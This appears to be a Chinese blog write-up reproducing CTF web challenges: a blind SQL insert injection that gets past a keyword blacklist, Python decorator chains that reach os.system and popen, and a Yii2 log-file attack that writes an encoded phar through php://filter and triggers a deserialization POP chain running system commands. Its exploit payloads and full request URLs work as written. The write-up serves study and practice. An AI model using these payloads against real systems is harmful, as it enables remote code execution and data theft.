数据安全2022决赛 部分web复现

很菜,纯坐牢

Classroom

sql insert 注入

def safe_waf(sql):
    blacklist = ["sys", "sql", "thread","if", "regexp", "cmp", "locate", "match","find","field","#","sleep","repeat","lock","bench","like","count","=","xor","&&","||"]
    for black in blacklist:
        if black in sql:
            return False
    return True
# ...
username = re.escape(request.values.get("Name"))
password = request.values.get("Password")
# ...
if safe_waf(username) and safe_waf(password):
    sql = 'insert into users (username, password) values("' + username + '","' + password + '")'
    r = conn.execute(sql)
    print(r.rowcount)

POC:

username='foo'
password='1"not in (select * from (select xxx) tmp) )--'

select xxx是完全可控的,可以把密码盲注

Python Decorator

Python Decorator 本质上是用来方便AOP的语法糖。当装饰class的时候效果如下:

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
    pass

# The previous code is equivalent to:
class X:
    pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

Decorator RCE

原题

https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/

@print
@list
@eval
@bytes
@copyright._Printer__filenames.__add__
@list
@str.encode
@chr
@len
@StopAsyncIteration.__doc__.format
@copyright._Printer__filenames.append
@len
@OSError.__doc__.format
@copyright._Printer__filenames.append
@len
@len.__doc__.format
@copyright._Printer__filenames.extend
@str.encode
@int.real.__name__.strip
@len.__name__.format
@copyright._Printer__filenames.append
@len
@ValueError.__doc__.format
@copyright._Printer__filenames.append
@len
@Exception.__doc__.format
@copyright._Printer__filenames.append
@len
@OSError.__doc__.format
@copyright._Printer__filenames.append
@len
@StopIteration.__doc__.format
@copyright._Printer__filenames.extend
@str.encode
@open.__name__.format
@copyright._Printer__filenames.append
@len
@set.__doc__.format
@copyright._Printer__filenames.append
@len
@Exception.__doc__.format
@copyright._Printer__filenames.extend
@str.encode
@__import__.__name__.__add__
@str
@tuple
@str.split
@str.lower
@OSError.__name__.rstrip
@TypeError.__name__.format
class room: ...

效果如下

print(list(eval(b'__import__("os",).popen("./rea*")')))

wp作者提供了一个DFS+DP找全局类型为list的属性的脚本

visited = set()
def search(obj, path):
  for name in dir(obj):
    item = getattr(obj, name)
    new_path = path + "." + name
    if (type(item) == list):
      print(new_path)
      return
    if type(item) not in visited:
      visited.add(type(item))
      search(item, new_path)
      
search(__builtins__, "__builtins__")

loglog

关键路由在于

public function actionIndex()
    {
	       if (!Yii::$app->user->isGuest) {
            $data = Yii::$app->request->get('data');
            $res = file_get_contents($data);
            file_put_contents($data,$res);
        }
        return $this->render('index');
    }

思路基本和CVE-2021-3129一样,但是有一两个细节有点问题,很折磨人

log文件在这里,可以用winmerge之类的工具快速找到

image-20230223104231650

清空log

这一步没什么问题

http://127.0.0.1/index.php?data=php://filter/read=consumed/resource=../runtime/logs/app.log

php伪协议写编码过的phar

先把编码搞出来,用到了Yii2 <= 2.0.42现成的链子

Yii2最新反序列化POP链分析

当然断网的话是不是还要徒手挖(害怕

<?php

namespace Faker{
    class DefaultGenerator{
        protected $default ;
        function __construct($argv)
        {
            $this->default = $argv;
        }
    }

    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($command,$argv)
        {
            $this->generator = new DefaultGenerator($argv);
            $this->validator = $command;
            $this->maxRetries = 99999999;
        }
    }

}

namespace Codeception\Extension{
    use Faker\ValidGenerator;
    class RunProcess{
        private $processes = [];
        function __construct($command,$argv)
        {
            $this->processes[] = new ValidGenerator($command,$argv);
        }
    }
}

namespace {
    $exp = new Codeception\Extension\RunProcess('system','calc');
//    $b64=(base64_encode(serialize($exp)));
//    echo $b64;
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($exp); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
    $phar->stopBuffering();

    $byte=file_get_contents('./phar.phar');

    $fp = fopen('poc.txt', 'w');
    stream_filter_append($fp, 'convert.base64-encode');
    stream_filter_append($fp, 'convert.iconv.utf-8.utf-16le');
    stream_filter_append($fp, 'convert.quoted-printable-encode');
    fwrite($fp, $byte);
    fclose($fp);
}


//require './vendor/autoload.php';
//unserialize(base64_decode($b64));

然后构造一个请求把编码写道日志文件里。

最开始的思路是直接data参数写(注意url编码)

http://127.0.0.1/index.php?data=P%3D00D%3D009%3D00.....

会发现没办法解编码。观察日志文件

image-20230223105716813

两个问题:

  1. 编码后有冗余的=,quoted-printable解码的时候会报错
  2. 编码开头的地方会有重复,而且也会导致解码报错

对于第1个问题,我发现data这个参数无论如何都会在日志文件后面出现=。我突然想到yii路由的参数是r。试了一下换成这个参数就不会有=出现了。

至于第2个问题,在payload开头的地方加一些垃圾数据aaaa....即可。注意a的个数必须是偶数,因为原理上来说UTF-16是双字节对齐。

payload:

http://127.0.0.1/index.php?r=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaP%3D00D%3D009%3D00w%3D00a%3D00H%3D00A%3D00g%3D00X%3D001%3D009%3D00I%3D00Q%3D00U%3D00x%3D00U%3D00X%3D000%3D00N%3D00P%3D00T%3D00V%3D00B%3D00J%3D00T%3D00E%3D00V%3D00S%3D00K%3D00C%3D00k%3D007%3D00I%3D00D%3D008%3D00%2B%3D00D%3D00Q%3D00p%3D00T%3D00A%3D00Q%3D00A%3D00A%3D00A%3D00Q%3D00A%3D00A%3D00A%3D00B%3D00E%3D00A%3D00A%3D00A%3D00A%3D00B%3D00A%3D00A%3D00A%3D00A%3D00A%3D00A%3D00A%3D00d%3D00A%3D00Q%3D00A%3D00A%3D00T%3D00z%3D00o%3D00z%3D00M%3D00j%3D00o%3D00i%3D00Q%3D002%3D009%3D00k%3D00Z%3D00W%3D00N%3D00l%3D00c%3D00H%3D00R%3D00p%3D00b%3D002%3D005%3D00c%3D00R%3D00X%3D00h%3D000%3D00Z%3D00W%3D005%3D00z%3D00a%3D00W%3D009%3D00u%3D00X%3D00F%3D00J%3D001%3D00b%3D00l%3D00B%3D00y%3D00b%3D002%3D00N%3D00l%3D00c%3D003%3D00M%3D00i%3D00O%3D00j%3D00E%3D006%3D00e%3D003%3D00M%3D006%3D00N%3D00D%3D00M%3D006%3D00I%3D00g%3D00B%3D00D%3D00b%3D002%3D00R%3D00l%3D00Y%3D002%3D00V%3D00w%3D00d%3D00G%3D00l%3D00v%3D00b%3D00l%3D00x%3D00F%3D00e%3D00H%3D00R%3D00l%3D00b%3D00n%3D00N%3D00p%3D00b%3D002%3D005%3D00c%3D00U%3D00n%3D00V%3D00u%3D00U%3D00H%3D00J%3D00v%3D00Y%3D002%3D00V%3D00z%3D00c%3D00w%3D00B%3D00w%3D00c%3D00m%3D009%3D00j%3D00Z%3D00X%3D00N%3D00z%3D00Z%3D00X%3D00M%3D00i%3D00O%3D002%3D00E%3D006%3D00M%3D00T%3D00p%3D007%3D00a%3D00T%3D00o%3D00w%3D00O%3D000%3D008%3D006%3D00M%3D00j%3D00A%3D006%3D00I%3D00k%3D00Z%3D00h%3D00a%3D002%3D00V%3D00y%3D00X%3D00F%3D00Z%3D00h%3D00b%3D00G%3D00l%3D00k%3D00R%3D002%3D00V%3D00u%3D00Z%3D00X%3D00J%3D00h%3D00d%3D00G%3D009%3D00y%3D00I%3D00j%3D00o%3D00z%3D00O%3D00n%3D00t%3D00z%3D00O%3D00j%3D00E%3D00y%3D00O%3D00i%3D00I%3D00A%3D00K%3D00g%3D00B%3D00n%3D00Z%3D00W%3D005%3D00l%3D00c%3D00m%3D00F%3D000%3D00b%3D003%3D00I%3D00i%3D00O%3D000%3D008%3D006%3D00M%3D00j%3D00I%3D006%3D00I%3D00k%3D00Z%3D00h%3D00a%3D002%3D00V%3D00y%3D00X%3D00E%3D00R%3D00l%3D00Z%3D00m%3D00F%3D001%3D00b%3D00H%3D00R%3D00H%3D00Z%3D00W%3D005%3D00l%3D00c%3D00m%3D00F%3D000%3D00b%3D003%3D00I%3D00i%3D00O%3D00j%3D00E%3D006%3D00e%3D003%3D00M%3D006%3D00M%3D00T%3D00A%3D006%3D00I%3D00g%3D00A%3D00q%3D00A%3D00G%3D00R%3D00l%3D00Z%3D00m%3D00F%3D001%3D00b%3D00H%3D00Q%3D00i%3D00O%3D003%3D00M%3D006%3D00N%3D00D%3D00o%3D00i%3D00Y%3D002%3D00F%3D00s%3D00Y%3D00y%3D00I%3D007%3D00f%3D00X%3D00M%3D006%3D00M%3D00T%3D00I%3D006%3D00I%3D00g%3D00A%3D00q%3D00A%3D00H%3D00Z%3D00h%3D00b%3D00G%3D00l%3D00k%3D00Y%3D00X%3D00R%3D00v%3D00c%3D00i%3D00I%3D007%3D00c%3D00z%3D00o%3D002%3D00O%3D00i%3D00J%3D00z%3D00e%3D00X%3D00N%3D000%3D00Z%3D00W%3D000%3D00i%3D00O%3D003%3D00M%3D006%3D00M%3D00T%3D00M%3D006%3D00I%3D00g%3D00A%3D00q%3D00A%3D00G%3D001%3D00h%3D00e%3D00F%3D00J%3D00l%3D00d%3D00H%3D00J%3D00p%3D00Z%3D00X%3D00M%3D00i%3D00O%3D002%3D00k%3D006%3D00O%3D00T%3D00k%3D005%3D00O%3D00T%3D00k%3D005%3D00O%3D00T%3D00k%3D007%3D00f%3D00X%3D001%3D009%3D00C%3D00A%3D00A%3D00A%3D00A%3D00H%3D00R%3D00l%3D00c%3D003%3D00Q%3D00u%3D00d%3D00H%3D00h%3D000%3D00B%3D00A%3D00A%3D00A%3D00A%3D00J%3D00P%3D00O%3D009%3D00m%3D00M%3D00E%3D00A%3D00A%3D00A%3D00A%3D00D%3D00H%3D005%3D00%2F%3D002%3D00L%3D00Y%3D00B%3D00A%3D00A%3D00A%3D00A%3D00A%3D00A%3D00A%3D00A%3D00d%3D00G%3D00V%3D00z%3D00d%3D00I%3D00o%3D00W%3D007%3D00C%3D00S%3D00e%3D00s%3D00p%3D00P%3D00i%3D00o%3D00c%3D00C%3D00n%3D00x%3D00T%3D00w%3D00R%3D00l%3D00p%3D00W%3D00x%3D00E%3D007%3D00n%3D00N%3D00A%3D00g%3D00A%3D00A%3D00A%3D00E%3D00d%3D00C%3D00T%3D00U%3D00I%3D00%3D3D%3D00

解码写phar

http://127.0.0.1/index.php?data=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

触发phar反序列化

http://127.0.0.1/index.php?data=phar://../runtime/logs/app.log

这个链子会不断地命令执行,我复现的时候弹了几十个计算器,最后把nginx关了才停下来hh

posted @ 2023-08-21 09:12  KingBridge  阅读(48)  评论(0编辑  收藏  举报